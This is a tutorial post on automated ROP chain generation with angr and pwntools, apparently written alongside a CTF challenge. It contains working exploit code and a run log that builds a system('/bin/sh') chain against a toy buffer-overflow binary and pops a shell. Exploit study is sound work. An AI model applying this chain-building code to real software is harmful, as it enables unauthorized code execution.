The code and and example used for this post can be found here.
Battelle hosted a winter CTF recently that included a problem on automatic rop chain generation and a solution posted by Teddy Heinen used some code on this blog to perform the initial vulnerability discovery.
ROP chain generation is hard, but angr provides a couple emulation and constraint solving pieces that can make problems like this substantially easier to solve or generate chains for. This post won't talk about the intended ret2dlresolv technique to call the "holy_grail" function, but instead talk about the fundamentals behind building rop chains and apply contraints through rop chain's gadgets to a given program state that overwrites the program counter.
The post on overflow discovery here, describes using a step function to check a given program state being emulated by angr at every "step" to see if a the program counter can be set to "CCCCCCCC". We can reuse this snippet of code to test if our rop chain satisfies a program constraints like below:
defcheck_mem_corruption(simgr):# Check for unconstrainted state where we control the# program counterelffor state in simgr.unconstrained:if state.satisfiable(extra_constraints=[state.regs.pc ==b"CCCCCCCC"]):# Here we know we can arbitrarily set the program counter,# so now we want to set it to a ropchain we generate for the# program pc_overwrite = state.posix.dumps(0, extra_constraints=[state.regs.pc ==b"CCCCCCCC"] ) log.info("We can overwrite the PC with : {}".format(pc_overwrite)) log.info("PC overwrite starts at : {}".format(pc_overwrite.index(b"CCCCCCCC")) ) rop_chain_bytes =get_rop_chain(state) log.info("We can run our ropchain with : {}".format(rop_chain_bytes))if state.satisfiable(): state.globals["rop_chain_bytes"]= rop_chain_bytes simgr.stashes["mem_corrupt"].append(state) simgr.stashes["unconstrained"].remove(state) simgr.drop(stash="active")return simgr
The example problem being used for this blog post contains a trivial buffer overflow with gadgets conveniently located inside the main binary. This technique can be paired with gadget finding a build in libc given a leak like Zeratool does. The code we're exploiting is below:
The build of our rop chain is broken up into a couple parts:
gadget finding
gadget chaining
constraint applying
state emulation
defget_rop_chain(state):""" We're using a copy of the original state since we are applying constraints one at a time and stepping through the state. """ state_copy = state.copy() binary_name = state.project.filename pwntools_elf =ELF(binary_name)""" Here we're getting the ropchain bytes and rop chain object that has the individual gadget addresses and values """ rop_object, rop_chain =generate_standard_rop_chain(binary_name)""" Here we're running through the program state and setting each gadget. """ user_input, new_state =do_64bit_rop_with_stepping( pwntools_elf, rop_object, rop_chain, state_copy )""" With our constraints set, our binary's STDIN should now contain our entire overflow + ropchain! """ input_bytes = new_state.posix.dumps(0)return input_bytes
Gadget finding and Gadget chaining
The two steps for finding gadgets and chaining them together has warranted many blog posts, but for simple chains we can use the built-in rop chain finding and generation from pwntools! Ultimately for this simple chain we want to call either system("/bin/sh") or execve("/bin/sh",NULL,NULL).
So we can use the built in methods in pwntools' ROP class to find gadgets and the built-in methods in pwntool's ELF class to locate /bin/sh references.
For amd64 ROP chaining, there also another issue sometimes called the "movabs" issue. Where when constructing a system("/bin/sh") chain, the movabs instruction inside of the function will segfault and not finish executing our system call. The way around this is to add a RET rop gadget to align the stack and enable the call to succeed.
defgenerate_standard_rop_chain(binary_path): context.binary = binary_path elf =ELF(binary_path) rop =ROP(elf)# These are strings we want to call strings = [b"/bin/sh\x00",b"/bin/bash\x00"] functions = ["system","execve"]""" The two main components we need in our rop chain is either a system() or exec() call and a refernce to the string we want to call (/bin/sh) """ ret_func =None ret_string =None""" angr can find these functions using the loader reference p.loader, however we'll need to use pwntools for the rop chain generation anyways, so we'll just stick with pwntools """for function in functions:if function in elf.plt: ret_func = elf.plt[function]breakelif function in elf.symbols: ret_func = elf.symbols[function]break# Find the string we want to pass itfor string in strings: str_occurences =list(elf.search(string))if str_occurences: ret_string = str_occurences[0]breakifnot ret_func:raiseRuntimeError("Cannot find symbol to return to")ifnot ret_string:raiseRuntimeError("Cannot find string to pass to system or exec call")# movabs fix""" During amd64 ropchaining, there is sometimes a stack alignment issue that folks call the `movabs` issue inside of a system() call.Adding a single rop-ret gadget here fixes that. """ rop.raw(rop.ret.address)""" The pwntools interface is nice enough to enable us to construct our chain with a rop.call function here. """ rop.call(ret_func, [ret_string]) log.info("rop chain gadgets and values:\n{}".format(rop.dump()))""" We need both the generated chain and gadget addresses for when we contrain theprogram state to execute and constrain this chain, so we pass back both the rop tools refernce along with the chain. """return rop, rop.build()
Constraining the rop chain
With a list of our gadgets and the chain we want to use, the next step is getting our program simulation/emulation to run and verify that this chain will work. For this step in 64bit rop chain building we need to build our constraints in one of two ways depending on whether the piece of the ropchain is a code-execution gadget, or whether it's a data piece for a push/pop call.
Code execution rop gadgets
For this first step, it is very similar to our PC overwrite detection portion from the top of this page, where we are seeing if setting the program counter to the code-execution gadget is satiable:
There is one catch though if our chain uses an existing function call because we're emulating through angr. angr will use SimProcedures to emulate certain function calls for speed and accuracy to better represent what usually happens on a given function call. When the emulation hits one of these procedures, our rop chain building piece will break since we're not jumping or ROPing into the actual function, but instead the SimProcedure. So we have a special case here, where if we're stepping into one of those functions, we will emulate using the SimProcedure, but set the PC to the expected program entry for it.
if new_state.satisfiable(extra_constraints=([new_state.regs.pc == gadget])):""" For the actual ROP gadgets, we're stepping through them until we hit an unconstrained value - We did a `ret` back onto the symbolic stack. This process is slower than just setting the whole stack to the chain, but in testing it seems to work more reliably """ log.info("Setting PC to {}".format(hex(gadget))) new_state.add_constraints(new_state.regs.pc == gadget)""" Since we're emulating the program's execution with angr we will run into an issue when executing any symbols. Where a SimProcedure will get executed instead of the real function, which then gives us the wrong constraints/execution for our rop_chain """if gadget in elf_symbol_addrs: log.info("gadget is hooked symbol, contraining to real address, but calling SimProc" ) symbol = [x for x in elf.symbols.items()if gadget == x[1]][0] p = new_state.project new_state.regs.pc = p.loader.find_symbol(symbol[0]).rebased_addr""" There is no point in letting our last gadget run, we have all the constraints on our input to trigger the leak """if i ==len(rop_chain)-1:break""" Since we're stepping through a ROP chain, VEX IR wants to try and lift the whole block and emulate a whole block step this will break what we're trying to do, so we need to tell it to try and emulate single-step execution as closely as we can with the opt_level=0 """ rop_simgr = new_state.project.factory.simgr(new_state) rop_simgr.explore(opt_level=0) new_state = rop_simgr.unconstrained[0]
Data/Register setting rop gadgets
When we're setting stack data or registers, then we need to emulate it a little differently based on the last rop gadget we used. We can cache the gadget and use pwntool's ROP object to dump out which registers it interacts with. Then for each register we want to push or pop we can set the next 8 bytes of our chain to the expected rop chain value:
The code below sets our unconstrained registers to concrete values based off the ropcain, which in turn will set a value on the stack or where ever our chain is to the expected value. If we've finished setting registers we set "current registers" to an empty list to signal to the rest of the constraining process that we're ready for a code-execution gadget.
"""Case 2: We're setting a register to an expected popped valueUsually for 64bit rop chains, we're passing values intothe argument registers like RDI."""next_reg = curr_rop.regs.pop()log.debug("Setting register : {}".format(next_reg))gadget_msg = gadgetifisinstance(gadget, int): gadget_msg =hex(gadget)state_reg =getattr(new_state.regs, next_reg)if state_reg.symbolic and new_state.satisfiable( extra_constraints=([state_reg == gadget])): log.info("Setting {} to {}".format(next_reg, gadget_msg)) new_state.add_constraints(state_reg == gadget)else: log.error("unsatisfied on {} -> {}".format(next_reg, gadget_msg))breakiflen(curr_rop.regs)==0: curr_rop =None
Once all of our constraints are in-place, the constraint solving on whatever input to our program is, is in place and we can then dump out our STDIN/ARG/Other input and have angr run the constraint solver piece. For the toy-example included with the problem, it's reading from STDIN, so we can use the state's posix attribute to call dumps and give us the STDIN required to trigger it.
The full run of the toy-example with our solve will look like this:
./auto_rop_chain.py./buffer_overflow_64bitWARNING|2022-01-1513:56:49,675|angr.simos.simos|stdinisconstrainedto400bytes (has_end=True). If you are only providing the first 400 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).WARNING|2022-01-1513:56:49,917|angr.storage.memory_mixins.default_filler_mixin|Theprogramisaccessingmemoryorregisterswithanunspecifiedvalue.Thiscouldindicateunwantedbehavior.WARNING|2022-01-1513:56:49,917|angr.storage.memory_mixins.default_filler_mixin|angrwillcopewiththisbygeneratinganunconstrainedsymbolicvariableandcontinuing.Youcanresolvethisby:WARNING|2022-01-1513:56:49,917|angr.storage.memory_mixins.default_filler_mixin|1) setting a value to the initial stateWARNING|2022-01-1513:56:49,917|angr.storage.memory_mixins.default_filler_mixin|2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS},tomakeunknownregionsholdnullWARNING|2022-01-1513:56:49,917|angr.storage.memory_mixins.default_filler_mixin|3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS},tosuppressthesemessages.WARNING|2022-01-1513:56:49,917|angr.storage.memory_mixins.default_filler_mixin|Fillingmemoryat0x7fffffffffefa7cwith4unconstrainedbytesreferencedfrom0x4010d9 (_start+0x9 inbuffer_overflow_64bit (0x4010d9))WARNING|2022-01-1513:56:50,048|angr.procedures.libc.gets|Theuseofgetsinaprogramusuallycausesbufferoverflows.YoumaywanttoadjustSimStateLibc.max_gets_sizetoproperlymimicanoverflowingread.WARNING|2022-01-1513:56:51,152|angr.engines.successors|Exitstatehasover256possiblesolutions.Likelyunconstrained; skipping.<BV64Reverse(input_0_3200[2879:2816])>[*] We can overwrite the PC with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00CCCCCCCC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO | 2022-01-15 13:56:51,214 | pwnlib.exploit | We can overwrite the PC with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00CCCCCCCC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] PC overwrite starts at : 40INFO|2022-01-1513:56:51,216|pwnlib.exploit|PCoverwritestartsat:40[*] '/home/chris/projects/auto_rop_chain/buffer_overflow_64bit'Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE (0x400000)INFO|2022-01-1513:56:51,225|pwnlib.elf.elf|'/home/chris/projects/auto_rop_chain/buffer_overflow_64bit'Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE (0x400000)[*] Loaded 14 cached gadgets for'./buffer_overflow_64bit'INFO|2022-01-1513:56:51,254|pwnlib.rop.rop|Loaded14cachedgadgetsfor'./buffer_overflow_64bit'[*] rop chain gadgets and values:0x0000:0x40101aret0x0008:0x4012d3poprdi; ret0x0010:0x40201a [arg0] rdi = 42025220x0018:0x401094INFO|2022-01-1513:56:51,255|pwnlib.exploit|ropchaingadgetsandvalues:0x0000:0x40101aret0x0008:0x4012d3poprdi; ret0x0010:0x40201a [arg0] rdi = 42025220x0018:0x401094[*] Setting PC to 0x40101aINFO|2022-01-1513:56:51,260|pwnlib.exploit|SettingPCto0x40101aWARNING|2022-01-1513:56:52,279|angr.engines.successors|Exitstatehasover256possiblesolutions.Likelyunconstrained; skipping.<BV64input_0_3200[2759:2752]..input_0_3200[2767:2760]..input_0_3200[2775:2768]..input_0_3200[2783:2776]..input_0_3200[2791:2784]..input_0_3200[2799:2792]..input_0_3200[2807:2800]..input_0_3200[2815:2808]>[*] Setting PC to 0x4012d3INFO|2022-01-1513:56:52,282|pwnlib.exploit|SettingPCto0x4012d3WARNING|2022-01-1513:56:53,362|angr.engines.successors|Exitstatehasover256possiblesolutions.Likelyunconstrained; skipping.<BV64input_0_3200[2631:2624]..input_0_3200[2639:2632]..input_0_3200[2647:2640]..input_0_3200[2655:2648]..input_0_3200[2663:2656]..input_0_3200[2671:2664]..input_0_3200[2679:2672]..input_0_3200[2687:2680]>DEBUG|2022-01-1513:56:53,362|pwnlib.exploit|Settingregister:rdi[*] Setting rdi to 0x40201aINFO|2022-01-1513:56:53,365|pwnlib.exploit|Settingrdito0x40201a[*] Setting PC to 0x401094INFO|2022-01-1513:56:53,452|pwnlib.exploit|SettingPCto0x401094[*] gadget is hooked symbol, contraining to real address, but calling SimProcINFO|2022-01-1513:56:53,453|pwnlib.exploit|gadgetishookedsymbol,contrainingtorealaddress,butcallingSimProc[*] We can run our ropchain with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xd3\x12@\x00\x00\x00\x00\x00\x1a @\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO | 2022-01-15 13:56:53,493 | pwnlib.exploit | We can run our ropchain with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xd3\x12@\x00\x00\x00\x00\x00\x1a @\x00\x00\x00\x00\x00\x94\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Wrote rop chain to file : ./pwn_inputINFO|2022-01-1513:56:53,495|pwnlib.exploit|Wroteropchaintofile:./pwn_input[*] Try running : cat ./pwn_input - |././buffer_overflow_64bitINFO|2022-01-1513:56:53,495|pwnlib.exploit|Tryrunning:cat./pwn_input-|././buffer_overflow_64bit(angr_pwn) ➜auto_rop_chaingit:(master) ✗cat./pwn_input-|./buffer_overflow_64bitpwn_me:Yourbufferisat0x7fffffffdc50iduid=1000(chris) gid=1000(chris) groups=1000(chris),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)lsMakefileauto_rop_chain.pybuffer_overflow.cbuffer_overflow_64bitpwn_inputreadme.md[1] 443826 done cat ./pwn_input - |443827segmentationfault (core dumped) ./buffer_overflow_64bit